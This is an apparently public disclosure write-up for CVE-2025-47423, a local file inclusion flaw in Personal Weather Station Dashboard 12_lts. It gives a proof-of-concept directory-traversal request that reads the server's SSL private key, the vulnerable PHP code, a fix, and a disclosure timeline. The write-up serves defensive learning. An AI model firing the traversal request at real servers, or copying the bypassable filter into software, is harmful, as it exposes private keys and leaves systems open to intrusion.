haluka92/cve-2025-47423Detailed disclosure of CVE-2025-47423: Local File Inclusion in Personal Weather Station Dashboard 12_lts. Includes PoC, vulnerable code analysis, and secure fix recommendations for defensive learning.
Discovered by: Matthew Eagle
Status: Public Disclosure
Date Reported: 2025-05-05
CVE ID: CVE-2025-47423
A Local File Inclusion (LFI) vulnerability in the Personal Weather Station Dashboard version 12_lts allows unauthenticated remote attackers to read arbitrary files on the server. Exploiting this flaw grants access to sensitive files including private SSL keys, potentially compromising the confidentiality and integrity of HTTPS connections.
/others/_test.phptest (via GET)This flaw allows remote attackers to:
server.key)CVSS: 5.8 Medium
GET /others/_test.php?test=../../../apache/conf/ssl.key/server.key HTTP/1.1
Host: www.example.com
Response:
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAs2omMqKSB+lm7xu9Nu3C5...
...TRUNCATED...
-----END RSA PRIVATE KEY-----
$script = trim($_GET['test']);
$script = str_replace('../','',$script);
include($script);
The str_replace is insufficient to prevent directory traversal.
basename() and check against allowed files$allowed_tests = ['index.php', 'module_test.php'];
$script = isset($_GET['test']) ? basename($_GET['test']) : 'index.php';
if (!in_array($script, $allowed_tests)) {
die("Invalid test file.");
}
include(__DIR__ . '/scripts/' . $script);
| Date | Event |
|---|---|
| 2025-05-05 | Vulnerability reported to PWS Dashboard moderators |
| 2025-05-06 | Acknowledgement and testing observed |
| 2025-05-07 | CVE-2025-47423 reserved via MITRE |
| 2025-06-07 | Public patch and CVE listing confirmed |
If you are running Personal Weather Station Dashboard 12_lts, you should:
_test.phpVulnerability discovered and responsibly disclosed by Matthew Eagle
Contact: [email protected]
Disclosure coordinated with respect to responsible disclosure guidelines. This document is released for educational and defensive purposes.